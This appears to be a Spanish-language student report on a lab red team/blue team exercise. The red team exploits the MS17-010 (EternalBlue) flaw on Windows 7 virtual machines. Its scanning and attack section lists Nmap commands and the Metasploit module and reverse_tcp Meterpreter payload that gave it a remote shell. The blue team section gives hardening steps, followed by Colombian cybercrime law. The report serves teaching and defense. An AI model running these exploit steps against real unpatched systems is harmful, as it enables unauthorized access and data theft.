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Para el presente trabajo se organizó un banco de trabajo, que contenía el ambiente 
de equipos en Red para poder ejecutar las estrategias de dos equipos de seguridad. 
 
Se conformó dos equipos, uno Red Team que simuló un ataque a una máquina 
virtual con sistema operativo Windows 7 x64 que presentaba una vulnerabilidad 
llamada MS17-010 y el equipo Blue Team realizó técnicas de hardening para evitar 
y corregir esta vulnerabilidad, evitando que se repita este tipo de ataque, mejorando 
las condiciones de seguridad de las máquinas virtuales empleadas en este trabajo. 
 
Este trabajo se hizo para aprender a ver las funciones y técnicas que llegan a 
implementar los dos equipos estratégicos de seguridad y de los beneficios que 
pueden tener las organizaciones, evitando exponer sus activos de información, 
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Es un software de código abierto que permite buscar puertos abiertos, identificar 
sistemas operativos,  servidores, verifica los servicios que se encuentran 
ejecutando y algunas características de Red del equipo a ser analizado, usado para 
las auditoria de sistemas informáticos. Su licencia es publica GNU. 
- Nessus. 
Con esta herramienta se instaló y configuró las dos máquinas objetivo y con ello ver la 
vulnerabilidad CVE-2017-0143 y CVE-2017-0144. 
-PTES, por sus siglas en inglés Penetration Testing Execution Standard,  abarca lo 
relacionado con pruebas de penetración. 
- Metasploit: 
Es un software de código abierto y un Framework, que proporciona información de 
vulnerabilidades para el soporte en pentesting y auditorías de sistemas informáticos.  
- Exploit DB: 
Es una base de datos de exploits gratuita, estas bases de datos de exploit es un 
archivo  que tiene compatibilidad con CVE de exploit públicos, el cual recopila 
todas las vulnerabilidades encontradas y las coloca disponible al público para su 
uso. 
- CVE: 
Son las vulnerabilidades y exposiciones comunes, por sus siglas en inglés Common 
Vulnerabilities and Exposures, establecidas en listas el cual se encuentran 
registradas con un código que inicia CVE-ID, menciona la vulnerabilidad, comenta 






Todas las empresas, grandes o pequeñas, viven una etapa a la cual no se habían 
enfrentado y que los obligaron a tomar medidas extremas, desde el trabajo remoto, 
que con ello implica, hacer ajustes y organizar mejor el área de tecnología, para 
brindar seguridad, accesos y disponibilidad de la información de la compañía. 
EL COVID 19, permitió que estos grupos de empresas, tomase la decisión de 
actualizar sus políticas de Seguridad de la información y confiar más en el trabajo 
que sus empleados estén realizando, como también la forma de cuidar los activos 
y la información para garantizar la continuidad del negocio, esto llevó a que las áreas 
e incluso tecnología de la información se capacitaran. 
Esto para los profesionales de seguridad informática, representa un aumento en el 
análisis para poder responder ante incidentes y amenazas que se presenten, es 
aquí donde el equipo Red Team ya enfrentó un reto importante de acondicionar un 
escenario para colocar en práctica un test de pentesting 
El equipo Blue Team, tuvo el reto de contrarrestar la actividad que hizo el equipo 
Red Team, como los diferentes procedimientos que permitirán retener los ataques 
y corregir las vulnerabilidades encontradas para garantizar la confidencialidad, la 
integridad y la disponibilidad. 
Implementando técnicas de hardening, el cual fortalece los sistemas informáticos a 
los cuales se implementaron los escenarios, esto permitió corregir las 
vulnerabilidades que presentaba estos sistemas y garantizar que al menos por ese 
tipo de ataque que presentó, no se vulva u ocurrir, como también medidas 
adicionales que no poseía y que Reduce posibles incidentes que terminen 







El objetivo de la empresa White House Security es implementar estrategias de 
seguridad informática con equipos Red Team y Blue Team a un banco de trabajo. 
Objetivo Específico: 
 
- Garantizar conectividad entre las máquinas virtuales del banco de trabajo 
- Realizar un escenario de amenaza como equipo Red Team al banco de 
trabajo. 
- Realizar pruebas como equipo Blue Team al banco de trabajo. 
- Conocer la normativa legal colombiana de delitos informáticos, protección de 
datos personales y código de ética del COPNIA. 
1.1 Equipo Red Team 
 
Son profesionales en el campo de la seguridad informática, que elaboran un entorno 
de intrusión para explotar alguna vulnerabilidad que tenga la organización, esto con 
la debida autorización por escrito, con un contrato de confidencialidad, como 
también definiendo los limites hasta dónde pueden hacer sus pruebas. 
Con esto pueden detectar la forma como podrían ser víctimas de un ataque 
informático y para este caso analizaremos la vulnerabilidad MS17-010. 
Para la identificación del fallo de seguridad para las máquinas, se evidenció: 
- Una máquina virtual con sistema operativo Windows 7 x86. 
- Una máquina virtual con sistema operativo Windows 7 x64. 
- Un SMBv1 activo. 
- Fuga de información 10 de junio de 2020. 
- Última actualización en los sistemas operativos 05 de febrero de 2017. 
- Verificar el fallo de seguridad CVE-2017-0144. 
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- Actualización MS17-010, no se encuentra instalada. 
- Uno de los dos equipos muestra pantalla azul error de Windows. 
- Archivo que contiene información es winse20w0.exe. 
 
Para entender mejor el escenario, La máquina Kali Linux con IP 10.0.2.15, localiza 
las máquinas objetivo Windows 7 x86 con IP 10.0.2.5 y Windows x64 con IP 10.0.2.6 
y ejecuta el exploit, estas con puerto abierto 445. 
a. Las máquinas virtuales con IP 10.0.2.5 y Windows x64 con IP 10.0.2.6 
devuelve una consola tipo Shell después de haber ejecutado el exploit, ver 
figura 1. 
 





                    
       










Windows 7 x86  
IP: 10.0.2.5 




 1.1.1 Banco de trabajo. 
 
Para dar inicio al trabajo que ejecutará los equipos Red Team y Blue Team, deberá 
tener implementado un banco de trabajo, que constará de tres máquinas virtuales 
que tendrán su ambiente de desarrollo en Virtual Box, el cual fue instalado en su 
versión 6.1.12, ver figura 2. 
 
Figura 2. VirtualBox 
 
Fuente: El Autor 
1.1.2 Máquinas virtuales   
Importar una máquina virtual en formato OVA con sistema operativo Kali Linux, que 
tiene una configuración mínima que consta de una CPU 1, memoria RAM 2048MB, 
con credenciales para usuario estudiante y con clave unad2020, ver figura 3. 
Figura 3. Kali Linux 
 
Fuente: El Autor 
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Proceder a configurar la Red entre las máquinas virtuales con la opción incorporada 
en Virtual Box que permite colocarlas en Red NAT, en menú Preferencias de 
VirtualBox y activando el modo Red NAT en cada máquina virtual. 
 
Con este procedimiento se estableció la comunicación entre las tres máquinas 
virtuales, haciendo pruebas con el comando ping entre ellas; la máquina virtual Kali 
Linux tuvo como dirección IP la 10.0.2.15. 
 
Para la segunda máquina virtual, se importó el archivo en formato OVA con sistema 
operativo Windows 7 x86, con configuración en CPU 4 y memoria RAM 4096MB, 
unidad de almacenamiento 50GB, su dirección IP establecida fue la 10.0.2.5 ver 
figura 4. 
 
Figura 4. Maquina virtual Windows 7 x86 
 




La ultima máquina virtual que se importó con sistema operativo Windows 7 x64, con 
configuración en CPU 1 y memoria RAM 4096MB, unidad de almacenamiento 
50GB, con dirección IP asignada la 10.0.2.6, ver figura No.5. 
 
Figura 5. Informacion de sistema Windows 7 x64 
 
Fuente: El Autor 
El equipo Red Team utilizó como base para dar inicio al escenario que ejecutó como 
fue la prueba de pentesting y se basó en la metodología de PTES. 
Con esta técnica buscamos detectar vulnerabilidades a partir de escenarios 
controlados y simular un ataque a las dos máquinas virtuales, de la misma manera 
como lo haría un atacante a cualquier empresa. 
 
Debemos contar con la autorización por escrito de la empresa que es la responsable 
del sistema informático, evitando impactos contra la confidencialidad, la integridad 




El tipo de test de Pentesting utilizado es el de caja blanca; ya que conocemos toda 
la información del sistema como su arquitectura y direccionamiento de IP. 
Para la metodología PTES, implementó las diferentes fases 
En la fase de interacciones previas al compromiso; se divulgó con el equipo Red 
Team la propuesta y definimos las herramientas a utilizar para la prueba de 
penetración, dando inicio con Nmap. 
En la fase de recopilación de información; se analizó la estrategia para saber cómo 
se va a hacer la prueba de pentesting, recogiendo toda la información de las dos 
máquinas virtuales y facilitó el desarrollo, la herramienta utilizada es Maltego de 
Paterva. 
En la fase de modelado de amenazas, identificamos los problemas para poder 
corregirlos, para ello se utilizó la herramienta Nmap, que permitió identificar el 
sistema operativo que es Windows 7, utilizando el comando nmap –A -v 10.0.2.6, 
detecta nombre del equipo víctima y sistema operativo Windows, ver figura 6. 
 
Figura 6. Nmap detección sistema operativo 
 
Fuente: El Autor 
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Luego con el comando nmap 10.0.2.6 –script vuln1, identifico la vulnerabilidad 
MS17_010 y muestra el CVE-2017-0143, como también los puertos que tiene 
abiertos y para este caso el 445 que está atado con esta vulnerabilidad, pero 
podemos escoger otro puerto que se encuentre abierto para el propósito de atacar, 
con esta vulnerabilidad especifica el riesgo alto, ver figura 7. 
 
Figura 7. Comando Nmap vulnerabilidad 
 
Fuente: El Autor 
 
Fase de análisis de vulnerabilidades: 
Para descubrir fallas en el sistema informático, donde un atacante puede hacerlo; 
se realiza una búsqueda de vulnerabilidades, esto con la información que se 
recolecto en el punto anterior, herramientas Nessus. 
_________________ 
1 Vivek Gite COPNIA, Top 32 Nmap Command Examples For Linux Sys/Network Admins, 2020. p.1. 
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Se procede a instalar y actualizar la herramienta Nessus en Kali Linux, el cual es 
una medida adicional que se utilizó para verificar la Vulnerabilidad MS17-010, 
también hay que tener en cuenta que la herramienta detectó más vulnerabilidades  
- Ingresando al link https://seminario:8834, con esto configura la herramienta Nessus, 
ver figura 8. 
 
Figura 8. Inicio Metasploit 
 
Fuente: El Autor 
 
pero para el caso puntual solo se enfocó en la mencionada anteriormente. 
- Identificar la vulnerabilidad MS17-010 catalogada como High, también se visualiza 








Figura 9. Vulnerabilidad MS17-010 
 
Fuente: El Autor 
 
- Ver los detalles de MS17-010, especificando que el equipo remoto de Windows tendrá 
vulnerabilidades que deben abordar y permite el ejecutar código para su acceso remoto 
al protocolo SMBv1 que sirve para intercambiar archivos. 
 
Identificar el identificador de la vulnerabilidad es el CVE-2017-0143, este ataque 
se hace a través de la Red donde compromete al sistema, y se puede ver en link 
https://nvd.nist.gov/vuln/detail/CVE-2017-0144. 
Fase de explotación: 
Teniendo bien definido el análisis de vulnerabilidades, la fase de explotación 
permitió concretar el acceso al sistema informático evadiendo los mecanismos de 
seguridad que tenía la maquinas virtual con sistema operativo Windows 7 x64, la   
herramienta utilizada es Metasploit que viene en el sistema Kali Linux. 
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Para utilizar el Metasploit desde la terminal de Kali Linux, se ejecutó el comando 
msfconsole, ver figura 10. 
 
Figura 10. Inicio Metasploit 
 
Fuente: El Autor 
 
Con esta herramienta se interactuó con la máquina virtual Windows 7 x64 y se 
detectó con el comando search eternalBlue, comprobando los módulos auxiliary y 
exploit que se van a utilizar para el ataque, ver figura 10. 
Figura 11. Modulos 
 
Fuente: El Autor 
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Se procede a ejecutar los comandos msf5>use 
auxiliary/scanner/smb/smb_ms17_010 para cargar el modulo y configurar la ip 
objetivo con el comando RHOST junto con su puerto con comando lport, para 
verificar que hemos hecho bien estos pasos podemos escribir el comando show 
options, y por ultimo cargamos el modulo con el comando run, ver figura 12. 
Figura 12. Comando “show options” 
 
Fuente: El Autor 
 
Para continuar con la prueba de pentesting escribimos el comando use 
exploit/windows/smb/ms17_010_eternalBlue, esta instrucción fue localizada con 
el comando search eternalBlue aplicada en los pasos anteriores, ya teniendo 
cargado el exploit buscar los payloads con show payloads, la instrucción a utilizar 







Figura 13. Módulo exploit 
 
Fuente: El Autor 
Igual como en el proceso con el módulo auxiliary, definimos la ip con rhost y el 
puerto con el comando lport, visualizamos con el comando show options para 
rectificar que está establecida la ip objetivo en rhost. 
 
- Escribir set payload Windows/x64/meterpreter/reverse_tcp, para activar el 
modulo y luego show options, para rectificar que ya está habilitado la IP objetivo 
10.0.2.6. 
 
- Escribir comando exploit, con ello se accede a la maquina víctima y a través de 
meterpreter podemos activar con el comando Shell para acceder al ambiente de 
cmd y con ello con comando de MS-DOS poder buscar el archivo winse20w0.exe, 






Figura 14. Comando exploit 
 
 
Fuente: El Autor 
 
Teniendo activo el intérprete de comandos meterpreter, accedimos a la máquina 
virtual Windows 7 x64, logrando extraer el archivo winse20w0.exe, ver figura 15. 
 
Figura 15. Evidencia 
 
Fuente: El Autor 
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Para el caso de la maquina Windows 7 x86, en el cual la pantalla se coloca azul es 
porque su arquitectura es de 32 bits y los módulos que se utilizaron para acceder a 
la máquina virtual Windows 7 x64 es de 64 bits. 
 
Aunque ya se puede realizar esta prueba para este tipo de arquitectura, por lo que 
se debe hacer seleccionar los módulos que puedan interactuar con esta 
arquitectura. 
 
Fase de informes: 
Es la documentación que especificó todo el proceso que hizo el equipo Red Team 
y Blue Team. 
 
1.2 Equipo Blue Team 
 
La estrategia del equipo Blue Team es contener el ataque que materializó el equipo 
Red Team y para lograrlo se hizo las siguientes medidas de Hardening: 
 
- Primero debemos tener presente que la versión de Windows 7 ya no recibe 
actualización, soporte técnico desde este año, por lo que es recomendable 
actualizar a Windows 10 en la versión que solicite. 
- Deshabilitar el SMBv1 en Microsoft para corregir esta vulnerabilidad1. 
- Verificar que esté instalada la actualización de seguridad para MS17-010, 
pero en caso que no se pueda hacer esta instalación, la otra forma es 
desactivar el servicio compartido de archivos el SMBv1 y en caso de dar 
mayor restricción es deshabilitar el puerto 445. 
 
__________________ 
2 MICROSOFT, Boletín de seguridad de Microsoft MS17-010 - Crítico, Estados Unidos: 2017. p.1. 
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- Verificar el estado del SMBv1, si está habilitado o deshabilitado2   
 
Otras consideraciones que se deben tener en cuenta es: 
 
- Asignar una clave que cumpla con alguna política de contraseñas, que sea 
robusta, osea que posea mayúsculas, minúsculas, números y algunos 
caracteres especiales, esto que la haga un poco difícil el acceso a los 
atacantes. 
- Actualizar una licencia original, ya que la que tiene está desactualizada. 
- Cambiar el nombre de la cuenta Administrador, ya que es posible que puedan 
intentar acceder por este nombre, pues es el que más se usa.  
- La cuenta de invitado se puede verificar que está desactivada. 
- Activar el Windows Defender, las actualizaciones automáticas. 
- Activar el Firewall de Windows. 
- Realizar las actualizaciones en Windows Defender y actualizaciones automáticas, 
también en las aplicaciones que tenga instaladas, ver figura 16. 
 
Figura 16. Actualizaciones automáticas 
 
Fuente: El Autor 
__________________ 
3 MICROSOFT, Cómo comprobar que MS17-010 está instalado, Estados Unidos: 2020. p.1.   
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- Realizar las actualizaciones en Windows Defender y actualizaciones automáticas, 
también en las aplicaciones que tenga instaladas. 
 
En Configuración avanzada del sistema, en la pestaña Protección del sistema, 
escoger Restaurar el sistema, y ampliar las fechas en que se ejecutó este 
procedimiento y restablecer al 23 de julio de 2020 y 19 de septiembre de 2020, ya 
que está afectando tres controladores. 
Deshabilitar el arranque inicial en dispositivos USB o unidades de lectura de DVD, 
recomendable clave al setup del BIOS.  
Configuración de los protocolos de Red. 
Configuración en los permisos a carpetas y unidades compartidas. 
Programar backups de los archivos y estado del sistema.  
Desinstalar los controladores que no sean compatibles con el sistema operativo, 
para este caso el de Hewlett Packard SCSI adapter, como también un controlador 
de Microsoft NET y los servicios de escritorio remoto de Microsoft Printer. 
Verificar en el administrador de dispositivos, se evidencia que existe un 
controlador que no está actualizado. 
Verificar el log de eventos, se evidencia que el protocolo Ipv6 está activo, y 
presenta error con el DNS Client events, por lo que se procede a deshabilitarlo.  
También se evidencia que el controlador de cd-rom no cargó correctamente. SE 
detecta que Mozilla se cerró por una función incorrecta. 
Crear puntos de restauración del sistema. 




Verificar con Kali, para acceder de nuevo al Windows 7 x64, pero no hay acceso, 
ver figura 17. 
 
Figura 17. Prueba desde Kali 
 
 











1.3 Marco Legal 
 
La legislación colombiana implementó las siguientes leyes que otorgan 
herramientas jurídicas para proteger los sistemas informáticos de personas 
malintencionadas. 
Protegiendo a los ciudadanos del proceder delictivo, de personas con conocimiento 
en el área de informática y valiéndose de sus técnicas, ejecutan delitos informáticos, 
como el robo de información, accesos no autorizados entre otros, que afectan el 
bienestar de las personas y de las organizaciones. 
 
Por eso el Gobierno Nacional emite estas leyes que castigan con cárcel a todo 
ciudadano que no actúa de forma legal, ya que sus acciones no cuentan con la 
debida autorización de las empresa o personas, que son vulneradas. 
 
Establecidas estas leyes y códigos que posee el Gobierno, permite instruir y advertir 
a los nuevos profesionales y personas, las consecuencias que lleva que hacen uso 
indebido para sacar provecho. 
 
 
La ley 1273 de 2009, que dice: “La protección de la información y de los datos”4 
 
Estructurada en dos capítulos que van desde el artículo 269A al artículo 269J. 
La segunda es la Ley 1581 de 2012, que dice sobre el régimen general de protección 
de datos personales. 
 
__________________ 
4 MINTIC, Ley 1273 de 2009, Bogotá: 2009. p.1. 
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Esta ley busca garantizar que toda la información que es proporcionada por las 
personas, como su nombre, cedula, etc., sean protegidos para dar un buen uso, 
esta ley consta de seis capítulos. Para un total de 28 artículos. 
 
Por último, tenemos al COPNIA que define su código de ética para los ingenieros y 
profesionales, con fines de establecer el buen comportamiento en el actuar diario 
del desempeño de sus funciones laborales y de servicio, en caso de presentarse 
algún inconveniente, este organismo procede a realizar tres acciones, la primera da 
un aviso por escrito, la segunda aplica una suspensión temporal y la tercera 
terminando la matrícula profesional.5 
Es sabido en los procesos de tener evidencia en el área de los sistemas de 
información, esta se debe hacer de la mejor manera y cumpliendo con los mejores 
estándares para garantizar la integridad y una de las fases es no manipular la 
evidencia, poder etiquetarla y custodiarla para que sea transportada al laboratorio o 
sitio de investigación, por lo cual no debe estar en la vivienda y por eso está violando 










5 COPNIA, Código de ética, Bogotá: 2020. p.8. 
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Evidencia de Turnitin: 
 
Cargue de informe, pero no se presenta porcentaje. 
 
Figura 18. Evidencia Turnitin 
 
 
Fuente: El Autor 
 















- Realizar la activación y actualizaciones en el Firewall, Windows Defender y 
actualizaciones automáticas, como también tener actualizado todo el 
software que posea la organización. 
- Capacitar al personal de la compañía en temas relacionados con la seguridad 
de la información, aspectos básicos pero que pueden otorgar beneficios a 
personas que desean robar este tipo de información. 
- Tener un sistema de gestión de seguridad de la información, que eme permita 
poder identificar las vulnerabilidades a las que pueda estar expuesto y con 
ello estar preparado, para grandes organizaciones deben tener un área de 
monitoreo que permita tener en tiempo real, el comportamiento de su sistema 
informática y visualizar alguna actividad sospechosa. 
- Definir las personas responsables de los accesos al sistema de informático. 
- Implementar sistemas de control de acceso, tanto a las instalaciones como a 
los sistemas informáticos, definiendo una política de contraseñas. 
- Tener un firewall empresarial que permita mitigar algunas vulnerabilidades 
- Deshabilitar el usuario invitado en sistemas operativos. 
- Cambiar el nombre que viene por defecto en Windows de Administrador y 
asignar una buena clave. 
- Hacer cambios en las claves que viene por defecto en los diferentes 
productos, como por ejemplo en FortiGate viene sin clave, otros tienen las 
mismas claves de usuario. 
- Los empleados deben firmar un acuerdo de confidencialidad y cumplir la 
política de seguridad de la empresa, al igual que los proveedores. 
 
Con todo lo mencionado anteriormente, podemos implementar más medidas, pero 





Para esta fase se debe contar con un equipo que esté en monitoreo constante y que 
reaccione ante una posible 
 
Tener un plan de recuperación, que permita dejar los sistemas como se encontraban 
funcionando, para esto se debe tener backups de los sistemas y de la información. 
 
También se debe recolectar las pruebas de acceso o las vulnerabilidades que se 
presentaron para poder tomar acciones de mejora. 
 
Cuando se presenta este tipo de ataque, se debe informar a todas las personas que 
sus datos han sido objeto de un ataque y la ley de protección de datos lo define en 
que debe ser informados en caso de estar comprometida la información personal.  
 
Los equipos Blue Team son los encargados de contener y contrarrestar los 
constantes ataques que llegase a recibir algún sistema informático,  están vigilando  
los diferentes comportamientos que no son normales y que ameritan colocar la 
atención para actuar de forma inmediata,  por lo que están verificando los incidentes 
de seguridad y detectando alguna posible vulnerabilidad que se presente en los 
sistemas,  es por ello que están suministrando planes para mitigar estos riesgos que 
se puedan presentar en los objetivos específicos y claves en la organización.6 
 
Otro apoyo es verificar en el centro de seguridad de internet que definen las medidas 
de hardening que utiliza en los diferentes sistemas operativos y mejores prácticas 
establecidas por ellos, ya que vienen pre configuradas con las medidas de 
seguridad que no se tendría cando uno hace el proceso desde cero en la instalación 
de una máquina virtual y con ello mitigar las vulnerabilidades. 
 
__________________ 





 El equipo Red Team ejecutó con éxito el test de pentesting a la máquina 
virtual Windows 7 x64, detectando la vulnerabilidad MS17-010. 
 
 El equipo Blue Team concretó las medidas de hardening en la máquina virtual 
Windows 7 x64 para evitar acceso no autorizado. 
 
 El ataque hecho por el equipo Red Team afecta la confidencialidad, 
integridad y disponibilidad de las máquinas objetivo, ya que, al tener esta 
vulnerabilidad de acceso remoto, el atacante puede borrar, modificar o incluir 
información y hacer uso del sistema informático sin permiso de la 
organización. 
 
 Tomar conciencia de las sanciones que puede enfrentar en caso de cometer 
algún ilícito en el campo de los sistemas informáticos.  
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